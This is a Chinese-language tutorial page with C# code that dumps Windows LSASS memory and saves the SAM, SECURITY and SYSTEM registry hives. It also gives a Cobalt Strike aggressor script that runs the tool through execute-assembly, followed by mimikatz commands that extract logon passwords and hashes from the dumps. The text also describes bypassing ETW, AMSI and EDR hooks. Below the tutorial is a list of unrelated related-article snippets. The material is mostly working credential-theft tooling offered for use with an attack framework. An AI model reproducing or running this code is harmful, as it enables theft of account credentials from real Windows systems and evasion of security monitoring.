C# dump系统lsass内存和sam注册表详细

目录
  • 1、检测权限
  • 2、lsass内存
  • 3、实现reg save保存sam注册表
  • 4、关于ExecuteAssembly
  • 5、CS 插件

1、检测权限

因为dump系统lsass内存和sam注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。

public static bool IsHighIntegrity()
{
            // returns true if the current process is running with adminstrative
privs in a high integrity context
            var identity = WindowsIdentity.GetCurrent();
            var principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
}

2、lsass内存

MiniDumpWriteDumpMS DbgHelp.dll 中一个API, 用于导出当前运行的程序的Dump,利用MiniDumpWriteDump实现dump lsass内存的功能,先加载MiniDumpWriteDump函数。

[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump",
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr
userStreamParam, IntPtr callbackParam);

之后调用函数,并保存dump文件,代码如下所示:

namespace sharpdump
{
    public class MiniDumper
    {
        public static string MiniDump()
        {
            Process[] pLsass = Process.GetProcessesByName("lsass");
            string dumpFile = Path.Combine(Path.GetTempPath(),
string.Format("lsass{0}.dmp", pLsass[0].Id));
            if (File.Exists(dumpFile)) File.Delete(dumpFile);
            Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}",
pLsass[0].Id, dumpFile));
            using (FileStream fs = new FileStream(dumpFile, FileMode.Create,
FileAccess.ReadWrite, FileShare.Write))
            {
                bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id,
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
                if (bRet)
                {
                    Console.WriteLine("[+] Dump successful!");
                    return dumpFile;
                }
                else
                {
                    Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode:
{0}", Marshal.GetLastWin32Error()));
                    return null;
                }
            }
        }
    }
}

3、实现reg save保存sam注册表

首先导入需要用到的API。

        [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
        public static extern int RegOpenKeyEx(
            UIntPtr hKey,
            string subKey,
            int ulOptions,
            int samDesired,
            out UIntPtr hkResult
        );

        [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern int RegSaveKey(
            UIntPtr hKey,
            string lpFile,
            IntPtr lpSecurityAttributes
        );

        [DllImport("advapi32.dll", SetLastError = true)]
        public static extern int RegCloseKey(
            UIntPtr hKey
        );

然后构建函数,对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。

namespace sharpdump
{
    internal class Reg
    {
        public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
        public static int KEY_READ = 0x20019;
        public static int KEY_ALL_ACCESS = 0xF003F;
        public static int REG_OPTION_OPEN_LINK = 0x0008;
        public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
        public static int KEY_QUERY_VALUE = 0x1;
        public static void ExportRegKey(string key, string outFile)
        {
            var hKey = UIntPtr.Zero;
            try
            {
                RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE |
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey);
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
                RegSaveKey(hKey, outFile, IntPtr.Zero);
                RegCloseKey(hKey);
                Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
            }
            catch (Exception e)
            {
                throw e;
            }
        }
        public static string DumpReg(string key)
        {
            try
            {
                String addr = key + ".hiv";
                addr = Path.Combine(Path.GetTempPath(), addr);
                ExportRegKey(key, addr);
                return addr;
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Console.WriteLine(e.StackTrace);
                return "";
            }
        }
    }
}

文件会被dumptemp目录下,然后对所有dump成功的文件进行打包处理,方便下载。完整代码稍后上传至知识星球。

4、关于ExecuteAssembly

ExecuteAssembly是CS可执行组件的一个替代方案,ExecuteAssembly基于C/C++构建,可以帮助广大研究人员实现.NET程序集的加载和注入。

ExecuteAssembly复用了主机进程spawnto来加载CLR模块/AppDomainManagerStomping加载器/.NET程序集PE DOS头,并卸载了.NET相关模块,以实现ETW+AMSI绕过。除此之外,它还能够绕过基于NT静态系统调用的EDR钩子,以及通过动态解析API(superfasthash哈希算法)实现隐藏导入。

当前metasploit-frameworkCobalt Strike都已经实现了ExecuteAssembly功能,下面主要以Cobalt Strike为例,实现dump系统lsass内存和sam注册表的功能

5、CS 插件

以结合 Cobalt Strike 为例,编写一个简单的cna脚本。

popup beacon_bottom {
    menu "Dumper" {
     item "SharpDump"{
      local('$bid');
               foreach $bid ($1){
                   bexecute_assembly($1, script_resource("Dumper.exe"));
            }
     }
     item "DownloadDump"{
   prompt_text("File's address to download", "", lambda({
    bdownload(@ids, $1);
            }, @ids => $1));

        }
    }
}

加载脚本后,执行SharpDump,结果如下所示:

下载存放在temp目录下的dump.gz,然后使用Decompress解压,最后使用mimikatz 解密用户lsass.dmpsam文件

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

lsadump::sam /sam:sam.hiv /system:system.hiv

到此这篇关于C# dump系统lsass内存和sam注册表详细的文章就介绍到这了,更多相关C# dump系统lsass内存和sam注册表内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 如何从dump文件中提取出C#源代码

    一:背景 相信有很多朋友在遇到应用程序各种奇葩问题后,拿下来一个dump文件,辛辛苦苦分析了大半天,终于在某一个线程的调用栈上找到了一个可疑的方法,但 windbg 常常是以 汇编 的方式显示方法代码的,可惜的是,现如今的汇编,有多少像我们这些速成系码农还看的懂呢?

  • C# WinForm捕获全局变量异常 SamWang解决方法

    许多小公司的项目都缺少异常处理模块,我们也是.经常会出现这种情况,用户在UI界面操作,就直接跳出堆栈调用的异常信息对话框,老板看到那叫一个火啊!你们的代码怎么天天出现乱码.呵呵!这就是没有异常捕获处理导致的,现在许多人写代码都没意识处理异常,只要实现功能就好,我的许多组员也是如此. 项目刚接手,所以打算做一个异常全局捕获,统一处理的模式,采用具体详细信息的对话框提醒与日志文件保存方式.以下是根据网上找的C#winform全局异常捕获做了点修改.(等项目异常处理全部完成后,将心得体会做个记录,此处

  • C#使用RabbitMq队列(Sample,Work,Fanout,Direct等模式的简单使用)

    1:RabbitMQ是个啥?(专业术语参考自网络) RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件(亦称面向消息的中间件). RabbitMQ服务器是用Erlang语言编写的,Erlang是专门为高并发而生的语言,而集群和故障转移是构建在开发电信平台框架上的.所有主要的编程语言均有与代理接口通讯的客户端库 2:使用RabbitMQ有啥好处? RabbitMQ是使用Erlang语言开发的开源消息队列系统,基于AMQP协议来实现. AMQP的主要特征是面向消息.队列.路由(包

  • C# dump系统lsass内存和sam注册表详细

    目录 1.检测权限 2.lsass内存 3.实现reg save保存sam注册表 4.关于ExecuteAssembly 5.CS 插件 1.检测权限 因为dump系统lsass内存和sam注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断. public static bool IsHighIntegrity() { // returns true if the current process is running with adminstrative privs in a high

  • Python操作注册表详细步骤介绍

    Python操作注册表步骤之1.打开注册表 对注册表进行操作前,必须打开注册表.在Python中,可以使用以下两个函数:RegOpenKey和RegOpenKeyEx.其函数原型分别如下所示. RegOpenKey(key, subKey , reserved , sam)RegOpenKeyEx (key, subKey , reserved , sam) 两个函数的参数一样.参数含义如下: key:必须为表10-1中列出的项. subKey:要打开的子项. reserved:必须为0. sa

  • 我教你学之系统安全注册表

    对于现在各式各样的病毒.网络黑客和一些喜欢恶作剧的朋友,我们不得不作好防范工作,以免一些重要或是私人的信息被暴露.这里,我们主要谈一些应用注册表起到相应防护作用的实例. ●抵御BackDoor的破坏: 如果您的计算机上网了,那么就存在受黑客攻击的潜在危险,有一个名为BackDoor的后门程序,专门拣系统的漏洞进行攻击,我们可以修改注册表进行防范.打开HKEY_LOCAL_MACHINE\SoftwareMicrosoft WindowsCurrentVersionRun子键分支,将右边窗口中的"

  • 我教你学之注册表系统外观修改实例(二)

    ●为汉字输入法排序: 一些用户在安装完Windows XP后系统中有许多输入法,在选择自己喜欢的喜欢使用的输入法时需要按好多次Ctrl+Shift键,十分不方便,其实,可以通过注册表对输入法的默认显示顺序进行修改. 打开HKEY_CURRENT_USER\Keyboard layout\preload子键分支,可以看到右边的窗格中有几个数字,所有的输入法顺序就是从1往下排的,但你能看到它们的默认值是十六进制数字,并没有说明各代表什么输入法.你可以单击任务栏的输入法指示器"En"图标,其

  • XP系统优化和安全限制修改集合附注册表文件下载

    XP系统优化和安全限制\IE相关XP系统优化和安全限制\优化XP系统优化和安全限制\其他优化和一些小技巧附带的嘿嘿.txtXP系统优化和安全限制\恢复禁止和隐藏XP系统优化和安全限制\改名和图片XP系统优化和安全限制\琪琪说明文件.txtXP系统优化和安全限制\用NET入侵计算机.txtXP系统优化和安全限制\禁止XP系统优化和安全限制\隐藏XP系统优化和安全限制\IE相关\IE多线程下载.regXP系统优化和安全限制\IE相关\IE奥秘--添加新菜单项(推荐).txtXP系统优化和安全限制\I

  • 写给电脑初学者的一些建议(注册表篇)

    有人曾经说过,了解了注册表就读懂了WIN系统,这句话是一点都不假的.那么,什么是注册表?注册表有什么功能?如何去修改注册表以达到最佳的效果?又如何来区分注册表里有用和无用甚至是危害的部分呢? 什么是注册表?在还是使用Dos和Win3.x操作系统的时代里,大部分的应用程序都采用了ini文件(初始化文件)来保存一些配置信息,如设置路径,环境变量等.system.ini和win.ini控制着所有windows和应用程序的特征和存取方法,它在少数的用户和少数应用程序的环境中工作的很好.随着应用程序的数目

  • 修复被锁定的注册表

    注册表被锁定这一招是比较恶毒的,它使普遍用户即使会简单修改注册表使其恢复的条件下,困难又多了一层.症状是在开始菜单中点击"运行",在运行框中输入regedit命令时,注册表不能够使用,并发现系统提示你没有权限运行该程序,然后让你联系系统管理员. 这是由于注册表编辑器: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System下的DWORD值"DisableRegistryTools&

  • 注册表REG文件全攻略—注册表使用全攻略之十五

    注册表REG文件全攻略-注册表使用全攻略之十五 1.何谓REG文件 REG文件实际上是一种注册表脚本文件,双击REG文件即可将其中的数据导入到注册表中.利用REG文件我们可以直接对注册表进行任何修改操作,它对注册表的操作可以不受注册表编辑器被禁用的限制,因此功能更为强大.灵活,另外,由于REG文件可以用任何文本文件编辑工具(例如记事本)进行修改,因此通过它对注册表数据进行修改后,如果发生错误,还可以通过改回REG文件中的数据后再导入,从而实现恢复操作,因此它又较之直接用注册表编辑器修改更安全,所

  • 我教你学之注册表备份与恢复

    2.1注册表受到损坏的主要原因 注册表是Windows 9X/NT/XP的核心数据库,其中保存的各种参数直接控制着才作系统的启动.硬件驱动程序的装载已经Windows应用程序的正常运行.但注册表也会遭到各种情况的损坏,如错误关机.突然停电.硬件故障等.当注册表遭到破坏时,会以各种途径影响系统的性能和稳定,甚至造成无法启动计算机或系统瘫痪. 注册表受损的原因主要有以下几条: 用户反复添加或更新驱动程序时,多次操作造成失误,或添加的程序本身存在问题,安装应用程序的过程中注册表中添加了不正确的项.有些

  • 9x与2k 注册表的备份与恢复

    从Windows 95以来,微软就将Windows系统的配置信息存储在一个名为注册表的数据库中.它是Widnows系统管理所有软硬件的核心,其中包含了每个计算机用户的配置文件以及有关系统硬件.已安装程序和属性设置等重要信息.因此,注册表错误往往会导致系统崩溃,所以保持注册表的"健康"就显得尤为重要.那么,如何保证注册表的"健康"呢?老办法--备份与恢复. A.Windows 9x注册表的备份与恢复 (1)使用Scanreg备份/恢复注册表 系统在启动过程中会自动对注

随机推荐